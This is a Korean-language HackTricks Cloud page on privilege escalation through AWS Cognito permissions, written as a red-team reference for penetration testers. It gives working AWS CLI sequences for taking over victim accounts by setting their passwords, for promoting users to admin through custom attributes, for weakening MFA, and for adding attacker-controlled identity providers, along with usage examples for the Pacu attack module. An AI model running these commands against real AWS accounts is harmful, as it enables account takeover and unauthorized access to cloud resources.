AWS - Cognito Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
Cognito
Cognito에 대한 자세한 정보는 다음을 확인하세요:
Identity Pool에서 자격 증명 수집
Cognito는 IAM role credentials을 authenticated 및 unauthenticated users 모두에게 부여할 수 있으므로, 애플리케이션에 하드코딩되어 있을 가능성이 높은 Identity Pool ID를 찾으면 새로운 자격증명을 얻어(이전에는 자격증명이 전혀 없던 AWS 계정 내에서) privesc를 수행할 수 있습니다.
자세한 내용은 이 페이지를 확인하세요.
잠재적 영향: unauth users에 연결된 서비스 역할로의 직접적인 privesc(및 아마도 auth users에 연결된 역할로도).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
이 권한을 통해 cognito 앱의 authenticated/unauthenticated 사용자들에게 grant any cognito role을 부여할 수 있습니다.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
If the cognito app doesn’t have unauthenticated users enabled you might need also the permission cognito-identity:UpdateIdentityPool to enable it.
잠재적 영향: 직접 privesc로 어떤 cognito role로도 권한 상승이 가능합니다.
cognito-identity:update-identity-pool
이 권한을 가진 공격자는 예를 들어 자신이 제어하는 Cognito User Pool이나 공격자가 로그인할 수 있는 다른 identity provider를 설정하여 이 Cognito Identity Pool에 접근하는 방법을 만들 수 있습니다. 그런 다음, 해당 provider에 단순히 login하면 Identity Pool에 구성된 authenticated role에 접근할 수 있게 됩니다.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
또한 이 권한을 악용해 basic auth를 허용할 수도 있습니다:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Potential Impact: identity pool 내부에 구성된 인증된 IAM role을 탈취할 수 있음.
cognito-idp:AdminAddUserToGroup
이 권한은 Cognito user를 Cognito group에 추가할 수 있도록 허용하므로, attacker가 이 권한을 악용해 자신이 제어하는 user를 다른 그룹에 추가하여 더 높은 권한이나 다른 IAM roles을 얻을 수 있습니다:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Potential Impact: Privesc를 통해 다른 Cognito 그룹 및 User Pool Groups에 연결된 IAM 역할로 권한 상승.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
이 권한을 가진 공격자는 그룹 생성/업데이트로 침해된 Cognito Identity Provider가 사용할 수 있는 모든 IAM 역할을 그룹에 연결하고, 침해된 사용자를 해당 그룹에 포함시켜 그 모든 역할에 접근할 수 있습니다:
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
잠재적 영향: Privesc to other Cognito IAM roles.
cognito-idp:AdminConfirmSignUp
이 권한은 가입을 확인(검증)할 수 있게 합니다. 기본적으로 Cognito 애플리케이션은 누구나 가입할 수 있도록 되어 있어, 이 상태로 방치되면 사용자가 임의의 정보로 계정을 생성한 뒤 이 권한으로 계정을 검증할 수 있습니다.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
잠재적 영향: 새 사용자를 등록할 수 있다면 authenticated users의 identity pool IAM role로의 간접 privesc가 발생할 수 있습니다. 또한, 어떤 계정이든 확인할 수 있는 앱의 다른 기능들로 인해 간접 privesc가 발생할 수 있습니다.
cognito-idp:AdminCreateUser
이 권한은 공격자에게 user pool 내부에 새 사용자를 생성할 수 있는 권한을 부여합니다. 새 사용자는 활성화된(enabled) 상태로 생성되지만 비밀번호를 변경해야 합니다.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
잠재적 영향: 인증된 사용자의 identity pool IAM role에 대한 직접 privesc. 다른 앱 기능(예: 임의의 사용자를 생성할 수 있는 기능)에 대한 간접 privesc.
cognito-idp:AdminEnableUser
이 권한은 매우 드문 엣지 케이스에서, 공격자가 비활성화된 사용자의 자격증명(credentials)을 발견하여 해당 사용자를 다시 활성화해야 하는 경우에 도움이 될 수 있습니다.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Potential Impact: 인증된 사용자에 대한 identity pool IAM role로의 간접적인 privesc 및 공격자가 비활성화된 사용자의 자격 증명을 보유한 경우 해당 사용자의 권한
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
이 권한으로 method ADMIN_USER_PASSWORD_AUTH. 로 로그인할 수 있습니다. 자세한 내용은 링크를 확인하세요.
cognito-idp:AdminSetUserPassword
이 권한은 공격자가 임의의 사용자에 대해 알려진 비밀번호를 설정할 수 있도록 허용하며, 보통 직접적인 계정 탈취로 이어집니다(특히 피해자가 MFA를 활성화하지 않았거나 해당 인증 흐름/클라이언트에서 MFA가 강제되지 않는 경우).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
일반적인 작업 흐름:
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
관련 권한: cognito-idp:AdminResetUserPassword 는 피해자에 대한 재설정 흐름을 강제로 실행하는 데 사용될 수 있습니다(영향은 비밀번호 복구가 어떻게 구현되어 있는지와 공격자가 무엇을 가로채거나 제어할 수 있는지에 따라 달라집니다).
잠재적 영향: 임의 사용자 계정 탈취; app 계층 권한 (groups/roles/claims) 및 Cognito tokens를 신뢰하는 모든 하위 리소스에 대한 접근; Identity Pool 인증된 IAM roles에 대한 잠재적 접근.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings: 공격자는 이 권한을 악용해 자신이 제어하는 휴대전화번호를 사용자의 SMS MFA로 설정할 수 있습니다.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: 이전 항목과 마찬가지로, 이 권한은 사용자의 MFA 환경설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: 이전 항목과 유사하게, 이 권한은 user pool의 MFA 설정을 변경하여 MFA 보호를 우회하는 데 사용할 수 있습니다.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: User Pool을 업데이트하여 MFA 정책을 변경할 수도 있습니다. Check cli here.
Potential Impact: 공격자가 자격증명을 알고 있는 거의 모든 사용자에 대해 간접적인 privesc가 발생할 수 있으며, 이는 MFA 보호를 우회할 수 있습니다.
cognito-idp:AdminUpdateUserAttributes
이 권한을 가진 공격자는 기본 애플리케이션에서 권한을 얻기 위해 User Pool 사용자의 any mutable attribute(custom:* 속성 포함)를 변경할 수 있습니다.
일반적으로 영향이 큰 패턴은 claim-based RBAC가 custom attributes를 사용해 구현되는 경우입니다(예: custom:role=admin). 애플리케이션이 해당 클레임을 신뢰하면, 이를 업데이트한 뒤 재인증하면 애플리케이션을 건드리지 않고도 권한 부여를 우회할 수 있습니다.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
예: upgrade your own role and refresh tokens:
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
Potential Impact: Cognito 속성/claims를 권한 부여에 신뢰하는 애플리케이션에서의 간접 privesc; 다른 보안 관련 속성을 수정할 수 있는 능력(예: email_verified 또는 phone_number_verified를 true로 설정하는 것이 일부 앱에서 중요할 수 있음).
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
이 권한을 가진 공격자는 기존 풀 클라이언트들보다 제약이 적은 새로운 User Pool Client를 생성할 수 있습니다. 예를 들어, 새 클라이언트는 모든 종류의 인증 방법을 허용하고, secret이 없으며, token revocation이 비활성화되고, 토큰의 유효기간을 더 길게 설정할 수 있습니다…
새 클라이언트를 생성하는 대신 기존 클라이언트를 수정해도 동일한 결과를 얻을 수 있습니다.
In the command line (or the update one)에서 모든 옵션을 확인할 수 있습니다. 확인해보세요!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Potential Impact: User Pool에서 사용되는 Identity Pool 권한 사용자의 간접적인 privesc 가능성 — 보안 조치를 완화하는 새로운 client를 생성하여 공격자가 생성한 사용자로 로그인할 수 있게 됨.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
공격자는 이 권한을 악용해 새 사용자가 포함된 CSV를 업로드하여 사용자를 생성할 수 있다.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(새로운 import job을 생성하는 경우 iam passrole permission이 필요할 수도 있습니다. 아직 테스트해보지 않았습니다).
Potential Impact: 인증된 사용자의 identity pool IAM role에 대한 직접적인 privesc. 임의의 사용자를 생성할 수 있는 다른 app 기능들에 대한 간접적인 privesc.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
공격자는 새로운 identity provider를 생성한 뒤 이 공급자를 통해 로그인할 수 있게 됩니다.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Potential Impact: 인증된 users에 대한 identity pool IAM role로의 직접적 privesc. 모든 사용자를 생성할 수 있는 다른 앱 기능으로의 간접적 privesc.
cognito-sync:* 분석
이 권한은 Cognito Identity Pools의 역할에서 기본적으로 매우 흔한 권한입니다. 권한에 와일드카드가 있는 것은 항상 나빠 보이지만(특히 AWS에서의 경우), 제공된 권한은 공격자 관점에서는 크게 유용하지 않습니다.
이 권한은 Identity Pools의 사용자 정보와 Identity Pools 내의 Identity IDs를 읽을 수 있게 합니다(이 정보는 민감한 정보가 아닙니다).
Identity IDs에는 Datasets가 할당되어 있을 수 있으며, 이는 세션 정보(AWS에서는 이를 saved game처럼 정의합니다). 여기서 어떤 민감한 정보가 포함될 가능성은 있으나 확률은 매우 낮습니다. 이 정보를 액세스하는 방법은 enumeration page에서 확인할 수 있습니다.
공격자는 또한 이러한 권한을 사용해 enroll himself to a Cognito stream that publish changes on these datases 또는 lambda that triggers on cognito events에 자신을 등록할 수 있습니다. 저는 이것이 사용되는 것을 본 적이 없고, 여기서 민감한 정보가 있을 것으로 기대하지는 않지만 불가능한 일은 아닙니다.
자동 도구
- Pacu, the AWS exploitation framework, 은 이제 계정 내 모든 Cognito 자산의 열거를 자동화하고 취약한 구성, 접근 제어에 사용되는 사용자 속성 등을 표시하는 “cognito__enum” 및 “cognito__attack” 모듈을 포함합니다. 또한 사용자 생성(포함된 MFA 지원)과 수정 가능한 커스텀 속성, 사용 가능한 identity pool 자격증명, id tokens의 assumable roles 등에 기반한 권한 상승(privesc)을 자동화합니다.
모듈 기능 설명은 blog post 파트 2를 참조하세요. 설치 지침은 메인 Pacu 페이지를 참조하세요.
사용법
주어진 identity pool 및 user pool client에 대해 사용자 생성 및 모든 privesc 벡터를 시도하기 위한 cognito__attack 사용 예:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
현재 AWS 계정에서 보이는 모든 user pools, user pool clients, identity pools, users 등을 수집하기 위한 cognito__enum 사용 예시:
Pacu (new:test) > run cognito__enum
- Cognito Scanner는 python으로 작성된 CLI 도구로, privesc escalation을 포함한 Cognito에 대한 다양한 공격을 구현합니다.
설치
$ pip install cognito-scanner
사용법
$ cognito-scanner --help
자세한 내용은 다음을 확인하세요: https://github.com/padok-team/cognito-scanner
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
HackTricks Cloud

